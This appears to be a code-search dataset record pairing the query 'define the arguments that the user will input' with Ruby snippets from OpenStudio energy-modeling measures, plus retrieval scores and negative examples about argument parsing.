"def modeler_description\n return 'Calculate thermal capacitance and UA for surfaces, furniture, and spaces.'\n end",
"def modeler_description\n return 'Reports resilience metric(s) of interest.'\n end",
"def modeler_description\n return \"The default space types in the measure inputs are automatically filled by the spaces' standard space types. User can overwrite the default assumptions in the library.csv file in the measure's resources folder.\"\n end",
"def modeler_description\n return 'Find the interior lighting template for the building, and assume the existing efficiency level in the model (low, medium, high, very high). Find the LPD and LPD fractions for each space type. Apply the lighting upgrades by reducing the LPD associated with compact lighting by a percent (depends on starting and target efficiency levels).'\n end",
"def modeler_description\n 'Run a simulation to autosize HVAC equipment and then apply these autosized values back to the model.'\n end",
"def modeler_description\r\n return \"E+ measure to popolate the Kiva settings values\"\r\n end",
"def modeler_description\n return 'This method calculates the annualized coefficient of performance (Btu out / Btu in) of equipment in the model from the annual simulation. This is used in Scout as the equipment efficiency for the technology competition categories.'\n end",
"def modeler_description\n return 'This will only impact schedule rulesets. It will use methods in openstudio-standards to infer hours of operation, develop a parametric formula for all of the ruleset schedules, alter the hours of operation inputs to that formula and then re-apply the schedules. Input is expose to set ramp frequency of the resulting schedules. If inputs are such that no changes are requested, bypass the measure with NA so that it will not be parameterized. An advanced option for this measure would be bool to use hours of operation from OSM schedule ruleset hours of operation instead of inferring from standards. This should allow different parts of the building to have different hours of operation in the seed model.'\n end",
"def modeler_description\n return \"Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.\"\n end",
"def modeler_description\n return \"Any supply components or baseboard convective electrics/waters are removed from any existing air/plant loops or zones. Any existing air/plant loops are also removed. A heating DX coil, cooling DX coil, electric supplemental heating coil, and an on/off supply fan are added to a unitary air loop. The unitary air loop is added to the supply inlet node of the air loop. This air loop is added to a branch for the living zone. A diffuser is added to the branch for the living zone as well as for the finished basement if it exists.\"\n end",
"def modeler_description\r\n return 'modify simulation timestep'\r\n end",
"def modeler_description\n return 'Will add the necessary UtilityCost objects and associated schedule into the model.'\n end",
"def modeler_description\n return 'Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.'\n end",
"def modeler_description\n return 'Replace this text with an explanation for the energy modeler specifically. It should explain how the measure is modeled, including any requirements about how the baseline model must be set up, major assumptions, citations of references to applicable modeling resources, etc. The energy modeler should be able to read this description and understand what changes the measure is making to the model and why these changes are being made. Because the Modeler Description is written for an expert audience, using common abbreviations for brevity is good practice.'\n end",
"def modeler_description\n return 'Passes in all arguments from the options lookup, processes them, and then registers values to the runner to be used by other measures.'\n end",
"def modeler_description\n return 'Daylighting controls will physically add in daylighting controls to spaces in the building, while occupancy control will reduce lighting schedules by 10%.'\n end",
"def modeler_description\n return \"This measure will demonstrate how an OpenStudio measure calling EMS functions can be used to model the performance of HVAC equipment that cannot be represented well by using single “standard” performance curve objects (cubic, quadratic, biquadratic, etc.) For example, properly characterizing some HVAC equipment objects requires using different performance curves that cover operation of different parts of the performance regime. This measure will alter (overwrite) the Coil Cooling DX Single Speed Cooling Capacity as a function of temperature performance curve object and attributes used by the simulation if the outdoor air temperature falls below a user defined threshold. This measure allows the user to define the biquadratic curve coefficients associated with the Coil Cooling DX Single Speed Cooling Capacity.\"\n end",
"def modeler_description\n return \"This EEM adds EMS logic to the model that actuates the infiltration, HVAC operation, cooling set point, and heating set point schedules. The measure first identifies the schedule HVAC stopping point by day of week (Saturday, Sunday, and Weekdays). Early HVAC system shutoff is determined entirely by the outdoor air temperature (OAT). If the OAT is less than or equal to 2C or greater than or equal to 18C, then no action is taken. The HVAC system is shut off one hour early when the OAT is between 12C and 18C. The HVAC system shut off time varies linearly with OAT from one hour to zero hours between 12C and 2C, and between 18C and 28C. AvailabilityManager:OptimumStart objects are inserted for each HVAC system in the model and use the AdaptiveASHRAE algorithm to dynamically adjust HVAC startup time each day.\"\n end",
"def modeler_description\n return \"Multipliers for LPD, EPD, and people densities.\"\n end",
"def modeler_description\n return \"This measure takes the user selected standards space type and sets the interior lighting and equipment load definitions subcategory to match the space type name. \"\n end",
"def modeler_description\n return 'Will add the necessary UtilityCost objects into the model.'\n end",
"def modeler_description\n return \"This measure will demonstrate how an OpenStudio measure calling EMS functions can be used to override specified thermostat control logic and set alternate modes of operation. This EMS measure sets a specific (user defined) indoor VRF terminal unit to operate at a specific (user-defined) part load ratio, constrained by operate minimum and maximum outdoor temperature limits of the paired condenser unit. The main input objects that implement this example are the variable refrigerant flow actuators that control the VRF system and specific terminal unit. Note that the terminal unit PLR can be controlled without controlling the mode of the VRF condenser, however, the specific terminal unit will operate in whatever mode the existing operation control scheme chooses. This example program simply “sets” the operating mode and PLR, other more complex control algorithms can be developed by the user as needed\"\n end",
"def modeler_description\n return 'This measure swaps old cases with 2017 code compliant cases and more efficient ones.'\n end",
"def modeler_description\n return \"The example demonstrates the use of a thermostat schedule object as and EMS actuator object. The EMS program alters the scheduled values as a function of hour of day and day of week.\"\n end",
"def modeler_description\n 'This measure changes the Layer 0 properties of Thickness, Density, Thermal Absorptance, Solar Absorptance, Visible Absoptance, Thermal Conductivity, Specific Heat.'\n end",
"def modeler_description\n return \"The measure loops through the AirLoops associated with the model, and determines an occupancy weighted schedule with values of 1 or 0 based on the percent of peak occupancy at the timestep being above or below a set threshold value of 5 percent. The resulting occupancy schedule is applied to the airloop attribute for the availability schedule. The measure then loops through all thermal zones, examining if there are zone equipment objects attached. If there are one or more zone equipment object attached to the zone, a thermal zone occupancy weighted schedule with values of 1 or 0 based on the percent of peak occupancy at the timestep being above or below a set threshold value of 5 percent is generated. The schedule is then assigned to the availability schedule of the associated zone equipment. To prevent energy use by any corresponding plant loops, the pump control type attribute of Constant or Variable speed pump objects in the model are set to intermittent. The measure them adds heating and cooling unmet hours and Simplified ASHRAE Standard 55 warning reporting variable to each thermal zone. \"\n end",
"def modeler_description\r\n return \"This measure loops through the existing airloops, looking for loops that have a constant speed fan. (Note that if an object such as an AirloopHVAC:UnitarySystem is present in the model, that the measure will NOT identify that loop as either constant- or variable-speed, since the fan is located inside the UnitarySystem object.) The user can designate which constant-speed airloop they'd like to apply the measure to, or opt to apply the measure to all airloops. The measure then replaces the supply components on the airloop with an AirloopHVAC:UnitarySystem object. Any DX coils added to the UnitarySystem object are of the type CoilCoolingDXMultiSpeed / CoilHeatingDXMultiSpeed, with the number of stages set to either two or four, depending on user input. If the user opts for a gas furnace, an 80% efficient CoilHeatingGas object is added. Fan properties (pressure rise and total efficiency) are transferred automatically from the existing (but deleted) constant speed fan to the new variable-speed fan. Currently, this measure is only applicable to the Standalone Retail DOE Prototype building model, but it has been structured to facilitate expansion to other models with a minimum of effort.\"\r\n end",
"def modeler_description\n return \"The measure loops through the heating and cooling thermostat schedules associated each thermal zone. The existing heating and cooling schedules are cloned, and the all run period profiles are then modified by adding a +1.5 deg F shift to the all values of the cooling thermostat schedule and a -1.5 degree F shift to all values of the heating thermostat schedule. Design Day profiles are not modified. The modified thermostat schedules are then assigned to the thermal zone. For each Thermal Zone, ASHRAE 55 Thermal Comfort Warnings is also enabled. Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status output variables is also added to the model.\"\n end",
"def modeler_description\r\n return \"The Measure adds a Schedule Availability Manager to the Selected Plant Loop\"\r\n end",
"def modeler_description\n return 'Converts the OpenStudio model to vA3C JSON format and renders using Three.js, simulation data is applied to surfaces of the model'\n end",
"def modeler_description\n return 'This energy efficiency measure (EEM) replaces all cooling tower objects in a model of the following types: (OS:CoolingTowerPerformanceCoolTools, OS:CoolingTowerPerformanceYorkCalc, OS:CoolingTowerSingleSpeed, OS:CoolingTowerTwoSpeed, or OS:CoolingTowerVariableSpeed) with a new OS:CoolingTower:VariableSpeed object. If an existing cooling tower is already configured for variable speed, the measure will inform the user. When replacing an existing tower object, the following values from the existing tower configuration will be reused: Design Inlet Air Wet Bulb Temp, Design Approach Temperature, Design Range Temperature, Design Water Flow Rate, Design Air Flow Rate, Design Fan Power, Fraction of Tower Capacity in the Free Convection Regime, Basin Heater Capacity, Basin Heater Setpoint Temperature, Basin Heater Operating Schedule, Number of Cells, Cell Control, Cell Minimum and Maximum Water Flow Rate Fractions and Sizing Factor. A performance curve relating fan power to tower airflow rates is used. The curve assumes the fan power ratio is directly proportional to the air flow rate ratio cubed. A Minimum Air Flow Rate Ratio of 20% will be set. To model minimal but realistic water consumption, the Evaporation Loss Mode for new Tower objects will be set to ?Saturated Exit? and Drift Loss Percent will be set to a value of 0.05% of the Design Water Flow. Blowdown water usage will be based on maintaining a Concentration Ratio of 3.0.'\n end",
"def make_and_model; end",
"def modeler_description\n return 'Replaces exterior window constructions with a different construction from the model.'\n end",
"def modeler_description\n return \"This measure will demonstrate how an OpenStudio measure calling EMS functions can be used to investigate dynamic envelope technologies such as emulating thermochromic window performance using EMS actuators and control types. This measure will replace the construction description of a user-selected window based on the outside surface temperature of that window, evaluated at each timestep\"\n end",
"def modeler_description\n return \"This measure will demonstrate how EMS functions can be used to demonstrate how information from a sizing run can be used to select HVAC equipment from nominal product sizes where unit total capacity is directly related to the unit supply airflow (1 ton = 1200 cfm, 1.5 ton = 1600 cfm, etc.) of commercial packaged single-zone HVAC air systems. This measure is designed to work on AirLoops with packaged DX cooling equipment only. EMS functions will be used to extract the design supply airflow generated from system auto-sizing calculations. An interval variable is used to override the Sizing:System - 'Intermediate Air System Main Supply Volume Flow Rate' value variable. This measure approximates the manner that appropriate ‘real world’ equipment selections are made by HVAC design engineers. The table below will be used to map to the Maximum Flow rate of the packaged unit Fan:ConstantVolume object.\"\n end",
"def modeler_description\n return \"This measure adds active or passive chilled beam units to selected conditioned thermal zones. In addition the user can select an existing air loop to serve active beams, or create a new Dual Wheel DOAS. Users can also select an existing chilled water loop to provide chilled water to beams, or create a new high temperature chiller water loop. Users are highly encouraged to review and modify the control strategies that this measure creates, such that it reflects their modeling scenario of interest.\"\n end",
"def modeler_description\n return \"The difference between actual spaces and effective spaces takes into account the zone multipliers. The goal was to get average floor area assuming that each space represents a room vs. a collection of rooms. This was used to help determine average space sizes of different space types from the prototype buildings. In some cases I had to manaually adjust for where a space didn't map to a single room.\"\n end",
"def modeler_description\n return \"Any heating components or baseboard convective electrics/waters are removed from any existing air/plant loops or zones. A boiler along with constant speed pump and water baseboard coils are added to a hot water plant loop.\"\n end",
"def modeler_description\n return 'Thermal zones will be named after the spac with a prefix added'\n end",
"def inspect\n \"#<#{self.class.name} @model=#{model.name} @relation_name=#{relation_name} @repository=#{self.class.repository}>\"\n end",
"def inspect\n \"#<#{self.class.name} @model=#{model.inspect} @name=#{name.inspect}>\"\n end",
"def modeler_description\n return \"Reduces runtime fraction of lights by user-specified amount during the user-specified time period (typically daytime). This is an attempt to represent the impact of using the light collected on the roof instead of electric lighting. This modeling approach does not capture the impact of using a PV cell to turn the IR spectrum of the captured light into electricity.\"\n end",
"def modeler_description\n return 'This measure receives the AntiSweat heater Control from the user. Then it looks for refrigerated display cases; it loops through them; it checks the current AntiSweat heater Control of each case and it substitute it with the one chosen by the user.'\n end"
] |
[
"0.7710149",
"0.76145315",
"0.75934714",
"0.74018747",
"0.7299891",
"0.7296635",
"0.727943",
"0.71912926",
"0.71912926",
"0.7191264",
"0.7100944",
"0.70977926",
"0.70629936",
"0.7045383",
"0.7044268",
"0.70413125",
"0.7040473",
"0.7032938",
"0.70267737",
"0.70182866",
"0.69875926",
"0.6980763",
"0.69496983",
"0.69420075",
"0.6936087",
"0.6927004",
"0.6908837",
"0.6901907",
"0.6893215",
"0.6888214",
"0.68663764",
"0.6865241",
"0.68641704",
"0.68588334",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6852012",
"0.6833133",
"0.68219167",
"0.68055475",
"0.6791062",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67879057",
"0.67796487",
"0.6773994",
"0.6751447",
"0.67244256",
"0.6720888",
"0.6716974",
"0.6708703",
"0.67021894",
"0.668961",
"0.66878057",
"0.6672712",
"0.6662903",
"0.6649447",
"0.6643762",
"0.6634445",
"0.66330194",
"0.662195",
"0.6616422",
"0.6616422",
"0.66100585",
"0.659982",
"0.6588373",
"0.65865505",
"0.6584234",
"0.65638506",
"0.6560483",
"0.6554784",
"0.65097153",
"0.64903986",
"0.64771026",
"0.6466807",
"0.6462787",
"0.6450267",
"0.6443914",
"0.64391804",
"0.6431919",
"0.6429849",
"0.6426015",
"0.6422519",
"0.6421918",
"0.64181775",
"0.6415888",
"0.6409096",
"0.64074343",
"0.64067763",
"0.6405944",
"0.64003026",
"0.6370144"
] |
0.6589568
|
73
|
define the arguments that the user will input
|
def arguments(model)
args = OpenStudio::Ruleset::OSArgumentVector.new
# see if building name contains any template values
# Make argument for template
template = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('template', get_templates, true)
template.setDisplayName('Target Standard')
template.setDefaultValue('CBES T24 2008')
args << template
# Make an argument for the bldg_type_a
bldg_type = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('bldg_type', get_building_types, true)
bldg_type.setDisplayName('Primary Building Type')
bldg_type.setDefaultValue('MediumOffice')
args << bldg_type
return args
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def arguments; end",
"def arguments; end",
"def arguments; end",
"def arguments\n \"\"\n end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def args; end",
"def get_input \n puts \"to save this game, input 's,filename'\"\n puts \"to load a game, input 'l,filename'\"\n puts \"input a coordinate to access. prefix with r for reveal or f for flag\"\n puts \"example 'f,1,2' places a flag at 1,2\"\n input = gets.chomp\n \n args = input.split(',')\n end",
"def args(*) end",
"def arguments(required, *optional)\n puts \"required: #{required}\"\n puts \"optional: #{optional}\"\nend",
"def args()\n #This is a stub, used for indexing\n end",
"def arguments()\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n #make an argument for the variable name\n variable_name = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"variable_name\",true)\n variable_name.setDisplayName(\"Enter Variable Name.\")\n variable_name.setDescription(\"Valid values can be found in the eplusout.rdd file after a simulation is run.\")\n args << variable_name\n \n #make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Detailed\"\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Zone Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"Runperiod\"\n reporting_frequency = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName(\"Reporting Frequency.\")\n reporting_frequency.setDefaultValue(\"Hourly\")\n args << reporting_frequency\n\n #make an argument for the key_value\n key_value = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"key_value\",true)\n key_value.setDisplayName(\"Enter Key Name.\")\n key_value.setDescription(\"Enter * for all objects or the full name of a specific object to.\")\n key_value.setDefaultValue(\"*\")\n args << key_value\n \n env = OpenStudio::Ruleset::OSArgument.makeStringArgument(\"env\", true)\n env.setDisplayName(\"availableEnvPeriods\")\n env.setDescription(\"availableEnvPeriods\")\n env.setDefaultValue(\"RUN PERIOD 1\")\n args << env\n \n return args\n end",
"def set_arguments (args)\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # make an argument for the variable name\n variable_name = OpenStudio::Measure::OSArgument.makeStringArgument('variable_name', true)\n variable_name.setDisplayName('Enter Variable Name.')\n variable_name.setDescription('Valid values can be found in the eplusout.rdd file after a simulation is run.')\n args << variable_name\n\n # make an argument for the electric tariff\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << 'Detailed'\n reporting_frequency_chs << 'Timestep'\n reporting_frequency_chs << 'Zone Timestep'\n reporting_frequency_chs << 'Hourly'\n reporting_frequency_chs << 'Daily'\n reporting_frequency_chs << 'Monthly'\n reporting_frequency_chs << 'Runperiod'\n reporting_frequency = OpenStudio::Measure::OSArgument.makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName('Reporting Frequency.')\n reporting_frequency.setDefaultValue('Hourly')\n args << reporting_frequency\n\n # make an argument for the key_value\n key_value = OpenStudio::Measure::OSArgument.makeStringArgument('key_value', true)\n key_value.setDisplayName('Enter Key Name.')\n key_value.setDescription('Enter * for all objects or the full name of a specific object to.')\n key_value.setDefaultValue('*')\n args << key_value\n\n env = OpenStudio::Measure::OSArgument.makeStringArgument('env', true)\n env.setDisplayName('availableEnvPeriods')\n env.setDescription('availableEnvPeriods')\n env.setDefaultValue('RUN PERIOD 1')\n args << env\n\n args\n end",
"def handle_arguments(args)\n if input_file.nil?\n print_usage\n true\n else\n args.help || args.version\n end\n end",
"def arguments=(_arg0); end",
"def command_line\r\n ARGV.each do |arg|\r\n if arg == \"instructions\"\r\n instructions\r\n elsif arg == \"calculator\"\r\n ask_for_digits\r\n else\r\n \r\n end\r\n end\r\n \r\n end",
"def prescreen_input(args)\n if ((args.nil?) || (args.empty?))\n ['-eq', Date.today.strftime('%Y-%m-%d')]\n elsif ((args.length == 1) && (args[0].is_date?))\n ['-eq', args[0]]\n else\n args\n end\nend",
"def varios_args(*args)\n puts \"Tamanho de args: #{args.size}\"\n args.each { |x| p x}\n end",
"def process_arguments\n @e_addr = @options.email\n @r_name = @options.run_names\n @m_name = @options.machine_names\n @action = @options.action\n @snfs = @options.snfs\n end",
"def arguments\n args = OpenStudio::Measure::OSArgumentVector.new\n\n # url of the city database\n city_db_url = OpenStudio::Measure::OSArgument.makeStringArgument('city_db_url', true)\n city_db_url.setDisplayName('City Database Url')\n city_db_url.setDescription('Url of the City Database')\n city_db_url.setDefaultValue('')\n args << city_db_url\n\n # project id to update\n project_id = OpenStudio::Measure::OSArgument.makeStringArgument('project_id', true)\n project_id.setDisplayName('Project ID')\n project_id.setDescription('Project ID to generate reports for.')\n project_id.setDefaultValue('0')\n args << project_id\n\n # datapoint id to update\n datapoint_id = OpenStudio::Measure::OSArgument.makeStringArgument('datapoint_id', true)\n datapoint_id.setDisplayName('Datapoint ID')\n datapoint_id.setDescription('Datapoint ID to generate reports for.')\n datapoint_id.setDefaultValue('0')\n args << datapoint_id\n\n return args\n end",
"def validate_args (args)\n\t# todo\nend",
"def args() return @args end",
"def input=(_arg0); end",
"def process_inputs(args)\n @input = ((name = args[:in_file]) && (IO.read(name, mode: \"rb\"))) ||\n args[:in_str] ||\n fail(\"An input must be specified.\")\n\n @generator = args[:generator] ||\n ((key = args[:key]) && Generator.new(key)) ||\n fail(\"A key or generator must be specified.\")\n\n @window = args[:window] || 16\n\n #The filler value is for testing purposes only. It should\n #not be specified when secure operation is desired.\n @fill_value = args[:filler]\n end",
"def parse_args\r\n if(cmd.args =~ /\\=/)\r\n self.names = InputFormatter.titlecase_arg(cmd.args.before(\"=\"))\r\n self.action_args = cmd.args.after(\"=\")\r\n elseif (cmd.args && one_word_command)\r\n self.names = InputFormatter.titlecase_arg(cmd.args)\r\n self.action_args = \"\"\r\n else\r\n self.names = enactor.name\r\n self.action_args = cmd.args\r\n end\r\n\r\n self.names = self.names ? self.names.split(/[ ,]/) : nil\r\n\r\n self.combat_command = cmd.switch ? cmd.switch.downcase : nil\r\n end",
"def manage_args(*args)\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n \n #make an argument for your name\n user_name = OpenStudio::Ruleset::OSArgument::makeStringArgument(\"user_name\",true)\n user_name.setDisplayName(\"What is your name?\")\n args << user_name\n\n #make an argument to add new space true/false\n add_space = OpenStudio::Ruleset::OSArgument::makeBoolArgument(\"add_space\",true)\n add_space.setDisplayName(\"Add a space to your model?\")\n add_space.setDefaultValue(true)\n args << add_space\n \n return args\n end",
"def greeting\n puts \"Hello, MTA rider! How can we help?\"\n puts \"please enter one of the following commands:\"\n puts \"lines / stops the_line / calculate Departing_Line Departing_Stop Arriving_Line Arriving_Stop\"\n user_call, *user_args = gets.chomp\n user_args.to_s\n # user_args.split(\" \")\n # puts user_input\n\n if user_call == lines\n show_lines()\n elsif user_call == stops\n show_stops(user_args[0])\n elsif user_call == calculate\n if user_args.length < 4\n puts 'please enter \"Departing_Line Departing_Stop Arriving_Line Arriving_Stop\"'\n puts 'or enter \"exit\" to return to the home screen' \n user_input = gets.chomp\n if user_input == \"exit\"\n greeting()\n end \n user_input = user_input.split(\" \")\n calculate(user_input[0], user_input[1], user_input[2], user_input[3])\n else\n calculate(user_args[0], user_args[1], user_args[2], user_args[3])\n end\n else\n \n end\nend",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\n\n\n # Make an argument for evap effectiveness\n input_csv_path = OpenStudio::Measure::OSArgument::makeStringArgument(\"input_csv_folder_path\",true)\n input_csv_path.setDisplayName(\"raw_data_input_folder_path\")\n input_csv_path.setDefaultValue(\"data_file\")\n args << input_csv_path\n\n test_numbers = OpenStudio::StringVector.new\n test_numbers << 'Test_3'\n test_numbers << 'Test_6'\n test_numbers << 'Test_8'\n \n test_names = OpenStudio::StringVector.new\n test_names << 'UA_test'\n test_names << 'Cooling_test'\n test_names << 'Plenum_test'\n\n test_selections = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('test_data',test_numbers,test_names,true)\n\n \n test_selections.setDisplayName(\"Experiment\")\n test_selections.setDefaultValue(\"Test_3\")\n args << test_selections\n\n \n return args\n end",
"def arguments\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n # URL of the DEnCity server that will be posted to\n hostname = OpenStudio::Ruleset::OSArgument::makeStringArgument('hostname', true)\n hostname.setDisplayName('URL of the DEnCity Server')\n hostname.setDefaultValue('http://www.dencity.org')\n args << hostname\n\n # DEnCity server user id at hostname\n user_id = OpenStudio::Ruleset::OSArgument::makeStringArgument('user_id',true)\n user_id.setDisplayName('User ID for DEnCity Server')\n args << user_id\n\n # DEnCIty server user id's password\n auth_code = OpenStudio::Ruleset::OSArgument::makeStringArgument('auth_code', true)\n auth_code.setDisplayName('Authentication code for User ID on DEnCity server')\n args << auth_code\n\n # Building type for DEnCity's metadata\n building_type = OpenStudio::Ruleset::OSArgument::makeStringArgument('building_type', false)\n building_type.setDisplayName('Building type')\n args << building_type\n\n # HVAC system for DEnCity's metadata\n primary_hvac = OpenStudio::Ruleset::OSArgument::makeStringArgument('primary_hvac', false)\n primary_hvac.setDisplayName('Primary HVAC system in building')\n args << primary_hvac\n\n args\n\n end",
"def arguments\r\n args = OpenStudio::Ruleset::OSArgumentVector.new\r\n\r\n #make choice argument for facade\r\n choices = OpenStudio::StringVector.new\r\n choices << \"MessagePack\"\r\n choices << \"CSV\"\r\n choices << \"Both\"\r\n output_format = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"output_format\", choices)\r\n output_format.setDisplayName(\"Output Format\")\r\n output_format.setDefaultValue(\"Both\")\r\n args << output_format\r\n\r\n args\r\n end",
"def arguments(model)\n args = OpenStudio::Measure::OSArgumentVector.new\n\t\n #make an argument for entering furnace installed afue\n afue = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"afue\",true)\n afue.setDisplayName(\"Installed AFUE\")\n afue.setUnits(\"Btu/Btu\")\n afue.setDescription(\"The installed Annual Fuel Utilization Efficiency (AFUE) of the furnace, which can be used to account for performance derating or degradation relative to the rated value.\")\n afue.setDefaultValue(1.0)\n args << afue\n\n #make an argument for entering furnace installed supply fan power\n fanpower = OpenStudio::Measure::OSArgument::makeDoubleArgument(\"fan_power_installed\",true)\n fanpower.setDisplayName(\"Installed Supply Fan Power\")\n fanpower.setUnits(\"W/cfm\")\n fanpower.setDescription(\"Fan power (in W) per delivered airflow rate (in cfm) of the indoor fan for the maximum fan speed under actual operating conditions.\")\n fanpower.setDefaultValue(0.5)\n args << fanpower\t\n\t\n #make a string argument for furnace heating output capacity\n furnacecap = OpenStudio::Measure::OSArgument::makeStringArgument(\"capacity\", true)\n furnacecap.setDisplayName(\"Heating Capacity\")\n furnacecap.setDescription(\"The output heating capacity of the furnace. If using '#{Constants.SizingAuto}', the autosizing algorithm will use ACCA Manual S to set the capacity.\")\n furnacecap.setUnits(\"kBtu/hr\")\n furnacecap.setDefaultValue(Constants.SizingAuto)\n args << furnacecap\n \n return args\n end",
"def greeting(args)\r\n greet = args[:greet] || \"Hi\"\r\n title = args[:title] || \"Citizen\"\r\n name = args[:name] \r\n puts \"#{greet} #{title} #{name}\"\r\nend",
"def parse_args\n\t\t@args = @args_a.each_slice(2).to_a.inject({}) { |h, k| h[k[0]] = k[1]; h }\n\t\tkeys = @skeys + @lkeys\n\t\t@args.each do |k, v|\n\t\t\tif !keys.include?(k)\n\t\t\t\tputs \"Unknown option `#{k}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif keys.include?(v)\n\t\t\t\tputs \"Missing values for `#{k}' and `#{v}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif v != nil\n\t\t\t\tif v.start_with?('-')\n\t\t\t\t\tputs \"Warning: Value of `#{k}' appears to be a flag\"\n\t\t\t\tend\n\n\t\t\t\tif @static.has_key?(k)\n\t\t\t\t\tif !@static[k].include?(v)\n\t\t\t\t\t\tputs \"Unknown option `#{v}' for `#{k}'\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tif remove_keys(@no_vals).has_blank?\n\t\t\tputs \"Missing argument(s)\"\n\t\t\texit\n\t\tend\t\t\t\n\tend",
"def command_line_arguments(array)\n array.size.times do\n if array.include?('-nc')\n colour_changer(:white)\n array.delete('-nc')\n elsif array.any? { |x| ['-d1', '-d2', '-d3', '-d4'].include? x }\n key = (array[0])[1, 2].to_sym\n @difficulty = DIFFICULTY[key]\n @promptarr = prompt_select(key)\n @intro = false\n end\n end\n end",
"def arguments()\n args = OpenStudio::Measure::OSArgumentVector.new\n \n #make an argument for the frequency\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Detailed\"\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"Runperiod\"\n reporting_frequency = OpenStudio::Ruleset::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n reporting_frequency.setDisplayName(\"Reporting Frequency\")\n reporting_frequency.setDefaultValue(\"Hourly\")\n args << reporting_frequency\n \n # TODO: argument for subset of output meters\n \n return args\n end",
"def arguments()\n args = OpenStudio::Measure::OSArgumentVector.new\n\n #make an argument for the frequency\n reporting_frequency_chs = OpenStudio::StringVector.new\n reporting_frequency_chs << \"Timestep\"\n reporting_frequency_chs << \"Hourly\"\n reporting_frequency_chs << \"Daily\"\n reporting_frequency_chs << \"Monthly\"\n reporting_frequency_chs << \"RunPeriod\"\n arg = OpenStudio::Measure::OSArgument::makeChoiceArgument('reporting_frequency', reporting_frequency_chs, true)\n arg.setDisplayName(\"Reporting Frequency\")\n arg.setDefaultValue(\"Hourly\")\n args << arg\n\n #make an argument for including optional output variables\n arg = OpenStudio::Measure::OSArgument::makeBoolArgument(\"inc_output_variables\", true)\n arg.setDisplayName(\"Include Output Variables\")\n arg.setDefaultValue(false)\n args << arg\n\n return args\n end",
"def arguments(model)\n args = OpenStudio::Ruleset::OSArgumentVector.new\n\n #make an argument for entering furnace installed afue\n userdefined_eff = OpenStudio::Ruleset::OSArgument::makeDoubleArgument(\"userdefinedeff\",true)\n userdefined_eff.setDisplayName(\"Efficiency\")\n\tuserdefined_eff.setUnits(\"Btu/Btu\")\n\tuserdefined_eff.setDescription(\"The efficiency of the electric baseboard.\")\n userdefined_eff.setDefaultValue(1.0)\n args << userdefined_eff\n\n #make a choice argument for furnace heating output capacity\n cap_display_names = OpenStudio::StringVector.new\n cap_display_names << Constants.SizingAuto\n (5..150).step(5) do |kbtu|\n cap_display_names << \"#{kbtu} kBtu/hr\"\n end\n\n #make a string argument for furnace heating output capacity\n selected_baseboardcap = OpenStudio::Ruleset::OSArgument::makeChoiceArgument(\"selectedbaseboardcap\", cap_display_names, true)\n selected_baseboardcap.setDisplayName(\"Heating Output Capacity\")\n selected_baseboardcap.setDefaultValue(Constants.SizingAuto)\n args << selected_baseboardcap\n\t\n return args\n end",
"def user_input_command_line_menu\n\tcommand_line_input = gets.strip.to_i\n\tcommand_line_input_logic(command_line_input)\nend",
